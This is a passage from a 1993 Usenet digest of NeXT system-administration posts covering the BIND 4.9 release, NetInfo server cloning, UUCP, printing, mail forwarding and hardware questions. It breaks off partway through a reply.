>Organization: DEC Network Systems Lab
>Distribution: world
>NNTP-Posting-Host: cognition.pa.dec.com
>
>[ this was posted on the bind and namedroppers mailing lists, now here. --vix ]
>
>After several years of development and at least one year of testing, BIND 4.9
>has finally exited Beta testing and is ready to rock and roll. You can get it
>from gatekeeper.dec.com via anonymous FTP as /pub/BSD/bind/4.9/4.9.930517.tar.Z
>(the Bind Operations Guide, substantially improved, is in the same directory,
>called BOG.psf).
>
>This BIND has been the name server running on DECWRL.DEC.COM, UUNET.UU.NET,
>EUNET.EU.NET, MUNNARI.OZ.AU, and hundreds of other large and small servers,
>for at least six months. We consider it "stable".
>
>Improvements over 4.8.3 are too numerous to list. If you have had any kind of
>trouble with 4.8.3 (and if you use it, you've had trouble with it, though you
>may not know this), you should upgrade to 4.9. Operating system vendors are
>encouraged to include this version of BIND as soon as their release schedules
>permit; the NSFnet backbone will thank you for it, as will your customers.
>
>This BIND includes "dig" (from USC/ISI) and "host" (from Rutgers), as well as
>a large collection of contributed scripts, utilities, and documentation. The
>resolver has also been improved.
>
>This BIND is known to compile and run on ULTRIX/RISC 4.2-4.3, SunOS 4.1.x,
>BSD/386 1.0, NeXTstep 3.0, UMIPS/V, HP-UX 8.x, Alpha AXP OSF/1 1.2, and more.
>
>This BIND was funded by Digital Equipment Corporation and is hereby released
>into full public use, subject to the same restrictions as the U C Berkeley
>Networking 2 ("net2") release. There is a DIGITAL ("DEC") Copyright in each
>file but it's just noise for the lawyers -- no practical restrictions have
>been added other than DIGITAL's disclaimer of liability.
>
>I (Paul Vixie) was the principle contributor to this release, as well as code
>librarian and test/release coordinator. However, my efforts would have been
>wasted without the assistance and participation of the alpha test list, to
>whom special thanks are given in the new Bind Operations Guide ("BOG").
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Netinfo / access
Message-ID: <1993May19.173500.8939@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 19 May 1993 17:35:00 GMT
I have 18 nexts and other stuff on a local net. One machine acts as a
netinfo server. In addition there are two clone servers on the net.
At present I have to log in to the the server machine to make any
changes to the root domain. I used to be able to do this with by
filling in the root domain password. Now that panel won't accept the
password, although it's an identical copy of the entry for the /local
root entry. (nidump passwd . | grep root | niload passwd /)
Ideas?
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: jdyer@henr.mc.xerox.com (John Dyer)
Message-ID: <9305192136.AA04722@dogleg.henr.mc.Xerox.COM>
Subject: UUCP and Supra32bis
Date: Wed, 19 May 1993 14:36:23 PDT
id AA04722; Wed, 19 May 93 17:36:23 EDT
To all the masters of UUCP,
I've just recently switched my modem from a Hayes-compat 2400 to a Supra32bis/42bis. With the 2400baud modem I had no problems with UUCP. Now it doesn't work. I have not made any changes to the new modem's factory settings (maybe this is my problem?).
Here's the info:
L-devices:
ACU cufb 0 38400 hayestone
L.sys
grace Any ACU 38400 1234567 "" chatscript
When I look at LOGFILE in /usr/spool/uucp, I see,
jdyer grace (5/7-02:00-196) HSM seems dead (/dev/cufb)
jdyer grace (5/7-02:00-196) LOST LINE (LOGIN)
jdyer grace (5/7-02:00-196) HSM did not respond to ATZ ()
jdyer grace (5/7-02:00-196) FAILED (call to grace)
Permissions on /dev/cu*
rw-rw-rw uucp cua
rw-rw-rw uucp cub
rw-rw-rw uucp cufa
rw-rw-rw uucp cufb
Oh, I also had the NXFax demo on my machine at one time, but uninstalled it. I can get out using kermit with no problems. The "set line /dev/cufb" works fine.
The NeXT documentation didn't help, and the O'Reilly book didn't help either (Managing UUCP and Usenet). Perhaps I'm just dense. If you can help me I'll be eternally grateful. My uucp link at home is cut off, and it's not pretty. Thanks.
John Dyer
jdyer@henr.mc.xerox.com
jdyer.henr801b@xerox.com
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing .ps files via lpr
Message-ID: <8679@ucsbcsl.ucsb.edu>
Date: 19 May 93 23:10:05 GMT
Sender: root@ucsbcsl.ucsb.edu
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Is there a way to print an existing postscript file via the lpr command? A
related question: Is there a way to pipe the output of a command that
produces a postscript output to lpr and have it print on the NeXT LaserPrinter?
If you try to do this without any options, you end of with pages of postscript
characters--not exactly useful.
--
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Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
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From: rane+@cs.cmu.edu (Aaron Hughes)
Subject: export printcap and host table from server
Message-ID: <C7Avv0.LB6.2@cs.cmu.edu>
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Date: Thu, 20 May 1993 00:54:35 GMT
Is there any easy way to have a spearate machine that
holds all the printcap and host table information, and
allow other NeXT machines to access that data? I'd rather
not have to update each individual machine. I have
a hunch that netinfo allows you to do that, but I'm not
sure how.
Thanks,
Aaron
--
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rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: lebay@mercury.cl.msu.edu (Jim LeBay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Landscape printing on NextPrinter
Date: 20 May 1993 03:07:36 GMT
Organization: Michigan State University
Message-ID: <1teslo$qcd@msuinfo.cl.msu.edu>
References: <1993May10.213936.26329@newsgate.sps.mot.com>
Tim Reed writes
> Is there a way to force the NextPrinter to print in landscape
> orientaion? I would like to add another print queue to allow printing
> in landscape but I don't want to lose the ability to print in
> portrait. Is this possible with only 1 printer.
Assuming you're talking about printing text files with lpr, as opposed to
printing PostScript from NEXTSTEP applications, yes you can. You need to
create a seperate print queue with a filter which enscripts the text file,
converting it to a landscape PostScript file, which gets sent to the normal
print queue. It's not foolproof, but it works for me.
First create a 2-line shell script to use as the print filter. The
important enscript options are -r and -P. (I saved it as
/usr/local/lib/landfilter)
#!/bin/sh
enscript -r -l -q -fCourier9 -PLocal_Printer
Then, use niload to add a printcap entry similar to this:
land|Landscape printing on Local_Printer: \
:mx#0:lp=/dev/null:ty=NeXT 400 dpi Laser Printer: \
:sd=/usr/spool/NeXT/land:if=/usr/local/lib/landfilter:
-----
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Computer Information Center lebay@msu.edu lebay@msu.bitnet
Michigan State University lebay@mercury.cl.msu.edu (NeXTmail)
** Windows NT = New Terminology = Nitwit Technology = Windows NoT!!! **
From: lebay@mercury.cl.msu.edu (Jim LeBay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing .ps files via lpr
Date: 20 May 1993 03:19:04 GMT
Organization: Michigan State University
Message-ID: <1tetb8$bjc@msuinfo.cl.msu.edu>
References: <8679@ucsbcsl.ucsb.edu>
Douglas Scott writes
> Is there a way to print an existing postscript file via the lpr command? A
> related question: Is there a way to pipe the output of a command that
> produces a postscript output to lpr and have it print on the NeXT
> LaserPrinter?
>
> If you try to do this without any options, you end of with pages of
> postscript characters--not exactly useful.
I use lpr all the time with no options. Just make sure that the FIRST two
characters in the PostScript file are %!
-----
Jim LeBay (517) 353-1800 353-5364 (FAX)
Computer Information Center lebay@msu.edu lebay@msu.bitnet
Michigan State University lebay@mercury.cl.msu.edu (NeXTmail)
** Windows NT = New Terminology = Nitwit Technology = Windows NoT!!! **
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: philip@utstat.toronto.edu (Philip McDunnough)
Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network
Message-ID: <C7BCMp.862@utstat.toronto.edu>
Keywords: Mac Server
Organization: University of Toronto, Dept. of Statistics
References: <1993May18.222128.4860@iitmax.iit.edu> <1993May19.015535.17495@fcom.cc.utah.edu>
Date: Thu, 20 May 1993 06:56:48 GMT
In article <1993May19.015535.17495@fcom.cc.utah.edu> yf5990@u.cc.utah.edu (Yan Fang) writes:
[ ]
>
>It sounds like what you want is uShare, made by IPT. I don't know if
>they've ported it to the '486, as the last time I talked with them they
>were bummed out about NeXT's sale of the factory.
This is not at all the impression I got from speaking to them off and on
over the past little while. They are busy moving things to NS/Intel.
Odd statemnt...these types of blanket statements do not serve any useful
purpose ("bummed out...").
[ ]
--
Philip McDunnough
University of Toronto
philip@utstat.toronto.edu
[Where sheep may safely graze...]
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: BIND 4.9 released
Message-ID: <1993May20.083503.18546@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <JBRYANS.93May19110333@wren.csulb.edu>
Date: Thu, 20 May 1993 08:35:03 GMT
In article <JBRYANS.93May19110333@wren.csulb.edu>
jbryans@csulb.edu (Jack Bryans) writes:
>BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3
>problems and is highly recommended.
Should I be the least bit concerned about the 882 lines of
warnings I got by adding -Wall to the compile options?
-=EPS=-
--
Just because they have "lint" doesn't mean they use it.
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: export printcap and host table from server
Date: 20 May 1993 13:40:05 GMT
Organization: University of Houston
Message-ID: <1tg1nl$rrb@menudo.uh.edu>
References: <C7Avv0.LB6.2@cs.cmu.edu>
In article <C7Avv0.LB6.2@cs.cmu.edu> rane+@cs.cmu.edu (Aaron Hughes) writes:
#Is there any easy way to have a spearate machine that
#holds all the printcap and host table information, and
#allow other NeXT machines to access that data? I'd rather
#not have to update each individual machine. I have
#a hunch that netinfo allows you to do that, but I'm not
#sure how.
#
Yes, you can use NetInfo. The easiest way is to set up a multi-level
NetInfo domain structure. Then at the highest level, have your host,
printcap and user entries. Then you only need to make changes at that
location and they will be seen by all the clients...
Look in:
/NextLibrary/Documentation/NextAdmin/01_Planning, 02_QuickStart,
03_SetUpNet,... for detail on NetInfo.
#Aaron Hughes DoD#0482 The Freedom Junkie
#rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
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Engineering Computing Center * comments, complaints, questions)
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From: chuckie@spock.choate.edu (Alec Peterson)
Subject: Cube Drive Bays
Message-ID: <C7BvsD.Dy@choate.edu>
Sender: usenet@choate.edu
Organization: Choate Rosemary Hall
Date: Thu, 20 May 1993 13:50:36 GMT
I'm curious as to how many drive bays a NeXT cube has. If anyone knows,
please tell me, mail or post.
Thanks
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From: Iroo
Subject: Why is the mail going thataway?
Message-ID: <1993May20.120547.245@deep13.com>
Keywords: mail, SLIP
Sender: iroo@deep13.com
Organization: Deep-13
Date: Thu, 20 May 1993 12:05:47 GMT
I tried to update some network addresses in my system and used Simple
Network Starter (Yes, I know, I know, not the way to do it). Now, instead
of queueing up the mail on my default UUCP interface (which is what is
says to do in my /etc/sendmail/sendmail.cf), it now tries to SLIP
connection my mail up (I don't have that part set up quite yet). Any
ideas about what could have happened, and more importantly, how to fix?
Thanks.....
--
Ira Frosch
gypsy!iroo@csn.org
NeXTMail - OK!
--
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gypsy!iroo@csn.org
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From: mleggott@sandnc.stfx.ca (Mark Leggott)
Subject: Installing 3.0 on Optical
Message-ID: <1993May20.144104.17179@nstn.ns.ca>
Keywords: NS 3.0 optical
Sender: usenet@nstn.ns.ca (NNTP Entity)
Organization: NSTN Network Operations Centre, Nova Scotia, Canada
Date: Thu, 20 May 1993 14:41:04 GMT
I am trying to install 3.0 from CD to an optical disc. The install
process seemed to proceed and finish normally. However the OD fails to
boot properly.
Is 3.0 supposed to work from an OD? Is there anything special I should do
to make it work?
Thanks
Mark Leggott
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From: Derek Kwan
Subject: Re: How To Automatically Forward Mail
Message-ID: <C7ByA8.C8J@watserv1.uwaterloo.ca>
Sender: news@watserv1.uwaterloo.ca
Organization: University of Waterloo
References: <1993May14.113356.1624@gamelan>
Date: Thu, 20 May 1993 14:44:31 GMT
In article <1993May14.113356.1624@gamelan> thf@zelator.in-berlin.de (Thomas
Funke) writes:
} In article <1srl3b$8tc@vtserf.cc.vt.edu> teske@opac1.cc.vt.edu (Steve Teske)
} writes:
} >
} > My desire is to forward all my mail to one workstation in the network of
} > NeXT's that I work with. There is no mail server set up for the network.
} > I could use some hints on how to automatically forward mail to one
} > workstation.
}
} Put a file '.forward' in your home-dir and fill it with the user/machines you
} wish to forward the mails:
}
} e.g.:
}
} steve_jobs@next.com
}
}
What about I just want to send a Carbon copy of every received mail to my
another account?
Derek
From: stuart@oasys.dt.navy.mil (Stuart Pearlman)
Newsgroups: comp.sys.next.sysadmin
Subject: Digital Librarian Indexing hanging on nfs mounted directory.
Message-ID: <36105@oasys.dt.navy.mil>
Date: 20 May 93 15:22:33 GMT
Organization: Carderock Division, Naval Surface Warfare Center
I'm trying to install the latest NeXTanswers (winter 93). Due to
space considerations, I am putting them on on an nfs mounted partition
(the nfs server is a Sequent S27 running dynix 3.0.17.9).
Every time I try to create the index digital librarian hangs. It
starts off (very slowly) listing the files it's indexing, but when it
gets through about 20 files, it seems to hang. The file name stops
getting updated. (It's not the particular file; I tried removing it and
it hung on the next one).
I built the index on the local disk and everything worked fine, but
copying that index to the other directory didn't work.
Another wierd occurance. I let it run all night, and now when I try
to list titles for NeXTanswers in digital librarian it shows all 494
found, but it is extremely slow (finding about 1 title a second).
Any suggestions would be greatly appreciated. Thanks very much.
-stuart
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Trandes Corporation +1 301 459 0200
On-Contract-To: David Taylor Research Center +1 301 227 1428
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From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: How To Automatically Forward Mail
Message-ID: <1993May20.161759.21970@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <C7ByA8.C8J@watserv1.uwaterloo.ca>
Date: Thu, 20 May 1993 16:17:59 GMT
Derek Kwan wrote:
: What about I just want to send a Carbon copy of every received mail to my
: another account?
RTFM forward. An example would be:
\verket, verket@anotherMachine
Paul Verket (NeXTmail ok
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Terminal problems
Date: 20 May 1993 14:13:13 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <1tg3lp$3ff@anaxagoras.ils.nwu.edu>
I just picked up an ampex 230 terminal and am trying to
hook it up to my NeXT computer. I was wondering
if there is anything special one had to do to get the thing to work.
I have set the term to be ampex.. I did the kill -HUP 1...
I get nothing but:
copyright 1984,1985 amaitix & associates inc. 005436
copyright 1983 ampex corporation
rom level 1.2p
term 1 adr 04 spd 01 term 2 adr of printer adr 06 spd 02 typ 02
I am pretty lost and anything anything can do to steer me in the right
direction would be greatly appreciated.
thanks in advance
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Donald F. Bora | | |
The Institute for the Learning Sciences | . | O |
Northwestern University | (--|--)
Evanston, Ill | |
e-mail: dbora@ils.nwu.edu | / \
work: (708) 467-1972 |
--------Be excellent to each other--------
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: crashing a NeXT, was 'Re: spurious DMA interrupts'
Message-ID: <1993May16.191445.1046@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1surjb$p91@tamsun.tamu.edu>
Date: Sun, 16 May 1993 19:14:45 GMT
In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C.
Daugherity) writes:
> extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should
> it?). Any clues? E-mail appreciated.
>
Nothing should crash a NeXT. But the famous 'crashme' program, run as non-root
of course, does it in a few milliseconds. I read recentliy, at least on
NS/Intel it would take a few minutes. Did anybody try that ?
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C is a language that combines all the elegance and power of
assembly language with all the readability and maintainability
of assembly language
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From: jbryans@csulb.edu (Jack Bryans)
Subject: Re: BIND 4.9 released
In-Reply-To: eps@futon.SFSU.EDU's message of Thu, 20 May 1993 08:35:03 GMT
Message-ID: <JBRYANS.93May20111530@wren.csulb.edu>
Sender: news@csulb.edu (News Administration/Rumor Bureau)
Organization: Cal State Long Beach
References: <JBRYANS.93May19110333@wren.csulb.edu> <1993May20.083503.18546@csus.edu>
Date: Thu, 20 May 1993 18:15:33 GMT
In article <1993May20.083503.18546@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes:
> In article <JBRYANS.93May19110333@wren.csulb.edu>
jbryans@csulb.edu (Jack Bryans) writes:
> >BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3
> >problems and is highly recommended.
> Should I be the least bit concerned about the 882 lines of
> warnings I got by adding -Wall to the compile options?
Nope, don't Wall & the warnings cut down to 45. BFD. It's been running
here on primary, secondary, & caching only name servers for a month w/only
nearly dramatic performance improvement to complain about.
Jack
From: bill@ganesha.cognet.ucla.edu (William Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Prob changing master server in netinfo
Date: 20 May 1993 18:10:14 GMT
Organization: UCLA Cognitive Science Research Program
Message-ID: <1tghi6$6ij@alamut.cognet.ucla.edu>
I posted a query on this a few days ago, and so far
have gotten no responses.
I copied the network.nidb from machine X to machine Y,
which runs the network okay, but I can't make any root
netinfo changes anymore. In the network.nidb, machine X
is still listed as the Master server. niutil and niload
don't seem to have a way to change this.
Any ideas?
Thanks,
bill
--
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*** He who remembers the past is condemned to misread it. ***
- George Santana
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From: klamb@basalt.Mines.Colorado.EDU (Kathleen Lamb)
Subject: HP printer
Sender: news@slate.mines.colorado.edu
Message-ID: <1993May20.172807.72910@slate.mines.colorado.edu>
Date: Thu, 20 May 1993 17:28:07 GMT
Organization: Colorado School of Mines
Keywords: HP,printer
I've gotten a question from a faculty member, who wants to
know what kind of HP printer he could buy to use from his
NeXT, and what if any kind of problems he's going to run in
to if he tries to do this. I know I've seen this discussed
before, but at the time it wasn't information that I needed.
Please send any information to fhagin@mines.colorado.edu.
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Prob changing master server in netinfo
Message-ID: <C7CCp9.CKw@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1tghi6$6ij@alamut.cognet.ucla.edu>
Date: Thu, 20 May 1993 19:55:56 GMT
In article <1tghi6$6ij@alamut.cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William Eldridge) writes:
>
>I posted a query on this a few days ago, and so far
>have gotten no responses.
>
>I copied the network.nidb from machine X to machine Y,
>which runs the network okay, but I can't make any root
>netinfo changes anymore. In the network.nidb, machine X
>is still listed as the Master server. niutil and niload
>don't seem to have a way to change this.
I just did this yesterday. I'm going of what I recall, so I won't
swear to it being step by step, but here's basically what I did:
1) Come to the conclusion that SNS.app sucks bird
2) Back up netinfo directories on both server and client
3) Login as root to the machine you want to make the clone
# Allow your new clone to serve the / domain
4) Fire up NetInfoMangler. Open up the / domain and add a line
to the new clone's machine entry so that it's 'serves' property
has another value, "./network"
# Clone the database
5) Open up Terminal.app and use 'nidomain' to clone:
(this assumes a two level hierarchy)
nidomain -c network <servername>/network
# Wait
6) Wait a half hour or so for all the info to propagate. (You could
just reboot instead).
# Update NetInfo to let it know there's a new NetInfo server
7) Fire up NetInfoMangler. Open the / domain. Remove the old
server's value of "./network" in the 'serves' property. Close
that window and go to the top most "/" in the Hierarchy. Double
click on it and change the value of the 'master' property to
reflect the new master.
Like I said, that's from memory so no promises. It's the steps I
recall having to take though.
-rob
---
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francisr@indiana.edu (812)855-0327
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From: neil@ms.uky.edu (Neil Greene)
Subject: HELP: error messages from getty
Message-ID: <C7CJ8B.EAv@ms.uky.edu>
Keywords: getty, tasks, ipc
Organization: Kentucky NeXT User Group, Inc.
Date: Thu, 20 May 1993 22:16:58 GMT
My system has been getting the following error message at times from getty
during dialup logins:
> getty: priviledges disabeled because of outstanding IPC to task
Can someone tell me what is going wrong. Users are still allowed to login and
everything runs fine. However, some uucp scripts fail on this message.
From: glenn@iridium.digex.net
Newsgroups: comp.sys.next.sysadmin
Subject: Q: How to format man pages correctly
Date: 20 May 1993 22:33:08 GMT
Organization: Express Access Online Communications, Greenbelt MD USA
Distribution: world
Message-ID: <1th0v4$ktl@news1.digex.net>
Keywords: man installman
Hi all,
I am a relatively new user of UNIX and I have come accross something that
I am not quite sure how to fix. Can someone please send me any NeXT
documents regarding how to properly format the man directories so that I
can install new man pages on my system and have them properly displayed
with the man command in the shell and in Digital Librarian. I remember a
program under 2.1 call 'installman' which seemed to work. The man page
for installman is still on my system (3.0 Non-Dev) but the program is
not!?
iridium [/Users/glenn]-% man installman
installman(1) UNIX Programmer's Manual installman(1)
NAME
installman - formats and indexes manual pages
SYNOPSIS
/usr/lib/indexing/installman [mandir] files
DESCRIPTION
Copies each of the named files, assumed to be unformatted
manual pages, into the appropriate subdirectory of mandir
(or of /NextLibrary/Documentation/ManPages, if mandir is not
supplied), generates the formatted version, and updates the
index.
SEE ALSO
ixBuild(1), man(1)
If anyone out there could send me some docs, or the installman program,
explaining how this whole thing works I would be most appreciative. Also
any info on the other files in the man directories like whatis and the
other indexing files would be warmly welcomed.
Also, what is the best directory to place new man pages that I receive
with new Apps? /usr/local/man?
Thanks very much in advance for any info!
Glenn
--
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glenn@iridium.digex.net
900 North Stafford St., #2017
Arlington, VA 22203-1849
Voice: (703) 276-2350
FAX: (703) 243-4398
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From: neil@ms.uky.edu (Neil Greene)
Subject: Re: HELP: error messages from getty
Message-ID: <C7CLnE.LKn@ms.uky.edu>
Keywords: getty, tasks, ipc
Organization: Kentucky NeXT User Group, Inc.
References: <C7CJ8B.EAv@ms.uky.edu>
Date: Thu, 20 May 1993 23:09:13 GMT
neil@ms.uky.edu (Neil Greene) writes:
>My system has been getting the following error message at times from getty
>during dialup logins:
>> getty: priviledges disabeled because of outstanding IPC to task
>Can someone tell me what is going wrong. Users are still allowed to login and
>everything runs fine. However, some uucp scripts fail on this message.
I tracked this problem down to a shell window running "tasks". Killing this
solved the problem.
Newsgroups: comp.sys.next.sysadmin
From: rilluri@whitehouse.is.rpslmc.edu (Rekha Illuri)
Subject: Root domain passwd
Message-ID: <1993May20.232411.16454@rpslmc.edu>
Sender: news@rpslmc.edu
Organization: Rush-Presbyterian-St. Luke's Medical Center
Date: Thu, 20 May 1993 23:24:11 GMT
Hi all,
I recently set up a clone netinfo server for the root domain in our network.
The cloner server set up went OK, but ever since I've been having problems
with the root domain password. I can't make changes to the root domain unless i am
logged in as root on the master netinfo server. For example, if i try to add a new host
using hostmanager ( logged into any other machine other than the master netinfo server)
to the root domain, the authentication panel comes up , i type in the root domain password,
it comes up with a user authentication error. I've used Netinfomanager and changed the root
domain password , ( it sucessfully lets me do that on the master netinfo server), logged
into another machine and tried to make changes to the root domain and it fails again.
Every admin tool behaves the same way. 'User authentication Error'. It is a pain in the butt
since, right now, i can add users, new hostnames, etc only logged in as root on the master netinfo server.
Should i just recreate the root account in the root domain? What implications will that have?
Also, should the uid and gid's of the local root account and the root domain root account be identical?
Well, one suggestion from NeXT was to 'declone the server. My question is how do i 'declone'
a server? The infamous SimpleNetworkStarter doesn't let me click on the ' Be a client...'
button. I've removed the ./network value from the machine/clone server/serves property for the clone server.
Is there a standard procedure to make a server a client? Any help is appreciated. Thanks
--
Rekha Illuri
Member of Technical Staff
Advanced Technology Center, RPSLMC
1700 W. Van Buren, Suite 374
Mailbox TOB 008 Chicago, IL 60612
Office:(312)942-5117 ext 1566 Fax:(312)942-4062 email:rilluri@is.rpslmc.edu
Newsgroups: comp.sys.next.sysadmin
From: mrothste@foraker.csc.calpoly.edu (Mont Rothstein)
Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts'
Message-ID: <1993May20.233103.18153@rat.csc.calpoly.edu>
Date: Thu, 20 May 93 23:31:03 GMT
Organization: Cal Poly, SLO
References: <1993May16.191445.1046@gamelan>
In article <1993May16.191445.1046@gamelan> thf@zelator.in-berlin.de (Thomas
Funke) writes:
> In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C.
> Daugherity) writes:
>
> > extremely heavy ethernet traffic (but that SHOULDN'T crash the system,
should
> > it?). Any clues? E-mail appreciated.
> >
>
> Nothing should crash a NeXT. But the famous 'crashme' program, run as
non-root
> of course, does it in a few milliseconds. I read recentliy, at least on
> NS/Intel it would take a few minutes. Did anybody try that ?
One thing about NEXTSTEP is that sometimes what seems like a crash isn't a
crash. The system has a tendency to get lost. Sometimes if you let it sit
long enough ( sometimes multiple hours ) it will find itself again. Again it
is often easier to just reboot :)
-Mont
NeXTmail OK :-)
President CP-NUG (Cal Poly NeXT User Group, SLO)
mrothste@data.acs.calpoly.edu
From: nico@imani.cam.org (Nicolas Dore)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Cube Drive Bays
Message-ID: <1993May20.234153.1256@imani.cam.org>
Date: 20 May 93 23:41:53 GMT
References: <C7BvsD.Dy@choate.edu>
Sender: nico@imani.cam.org
In article <C7BvsD.Dy@choate.edu> chuckie@spock.choate.edu (Alec Peterson) writes:
> I'm curious as to how many drive bays a NeXT cube has. If anyone knows,
> please tell me, mail or post.
>
The Cube has space for 2 full-height devices, wich you can divise in 4
half-heights.
However, first generetion Cubes had 2 "slots" (i.e. holes for screws), while newer
had 3. Therefore, you could fit 2 half-heighter's and 1 full-heighter in newer
Cubes.
I have an old Cube and after checking it, I think you could use Mecano or
something to fake a third "slot".
Ciao
> Thanks
>
> ---
> -------------------------------------------------------------------------------
> |Alec H. Peterson |Choate Rosemary Hall |NeXT Mail: |
> |E-mail:chuckie@choate.edu|P.O. Box 788 |chuckie@margaret.choate.edu |
> |PGP v2.2 key available |Wallingford, Ct. 06492|Internet Address: |
> |upon request. | |chuckie@choate.jvnc.net |
> -------------------------------------------------------------------------------
Nicolas Dore
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Strange boot problems, can't reboot cleanly
Message-ID: <1993May21.004023.68246@cc.usu.edu>
Date: 21 May 93 00:40:23 MDT
Organization: Utah State University
I am having some strange boot problems. When I boot in verbose mode I get the
following odd messages:
syslogd: unknown priority name " debug /usr/adm/auth.log":Inappropriate ioctl
for device
And later on I get:
iocservd [154]: LoadConfig(): /usr/etc//usr/etc/iocservd.config, No such file
or directory
I was alerted that something might be wrong when my machine wouldn't boot. It
I lock up for some reason and use cmd-cmd-~ and then r to reboot, nothing
happens. The pointer disappears and the machine just sits there. It I try it
again, it immediately reboots, doing a dirty shutdown and it has to go through
all of the check disk stuff. If I use the /etc/reboot command it seems to
reboot O.K. I can't power off cleanly either.
Does any kind guru out there have any idea what is going on with my system?
I just know that something tragic is going to happen one of these days if I
don't get this taken care of. Any help would be greatly appreciated.
John Z.
slv0y@cc.usu.edu
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de>
Newsgroups: comp.sys.next.sysadmin
Subject: No more room in kernel map?
Date: 21 May 1993 08:29:34 GMT
Organization: University of Karlsruhe, Germany
Distribution: world
Message-ID: <1ti3te$3st@nz12.rz.uni-karlsruhe.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Recently our server (040 Cube, NS3.0, 64MB, ND w. 16MB)
crashes with the following error:
<hostname> mach: panic: (Cpu 0) No more room in kernel map
The error occurs at night in most cases, when nobody is logged in on the
machine and all other machines on the net are down. Reboot causes a
fsck, which finds large numbers of unreferenced files with size 0.
Does anybody know this problem?
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Dept. Chemistry and Technology of Gas, Oil and Coal
University of Karlsruhe (TH)
Richard-Willstaetter-Allee 5
W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe)
Germany
FAX : +49 721 69 30 19
E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred)
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From: amon@Xenon.Stanford.EDU (Laurent Amon)
Subject: Need help with DJ500 and djf_for_3.0
Message-ID: <amon.737979396@Xenon.Stanford.EDU>
Keywords: help
Sender: news@CSD-NewsHost.Stanford.EDU
Organization: CS Department, Stanford University, California, USA
Date: 21 May 93 10:16:36 GMT
(Excuse me if you see this twice, the first post seems not to have
left my main site)
Hi folks,
I just got access to a DJ500 and installed the djf_for_3.0 driver.
Now, I don't have the specifs for the cable yet, so the DJ is on a
PC and I'm simply using djf as a filter, and printing on the PC
via frisbee network. I'm having problems printing PS files. Text
files print all right, albeit in compressed characters. Unfortunately,
I don't have a DJ documentation at hand, so I'll have to
rely on the Net's goodwill.
The Problem:
NeXTstation , NS 3.0.
PC (386SX, DOS 5.something)
DJ500, European (A4)
Printing ops are as follows:
djf < t.ps > a.out
mcopy a.out a: (using mtools, binary mode)
go to the PC and
print a:a.out
Now, if t.ps were a text file, printing would be OK. As it is a PS file,
only the first few pixel lines print correctly, and then the printer starts
giving out garbage (strange characters, like a bitmap flow interpreted
as text).
The Question(s):
1/ Am I doing Anything wrong?
2/ Could a kind soul give me the cabling schema for the NeXT?
3/ Could somebody give me the correct settings (and maybe
the meaning) of the DIP switches on the DJ? As I won't be able
to put my hand on a DJ documentation for 15 days or so, any help
will be appreciated.
Thanks in advance,
Lga.
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e-mail: amon@lix.polytechnique.fr | So far, the universe is winning.
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts'
Message-ID: <1993May21.123136.5463@linus.mitre.org>
Keywords: spurious DMA interrupts
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
References: <1993May16.191445.1046@gamelan>
Date: Fri, 21 May 1993 12:31:36 GMT
In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C.
Daugherity) writes:
> extremely heavy ethernet traffic (but that SHOULDN'T crash the system,
should
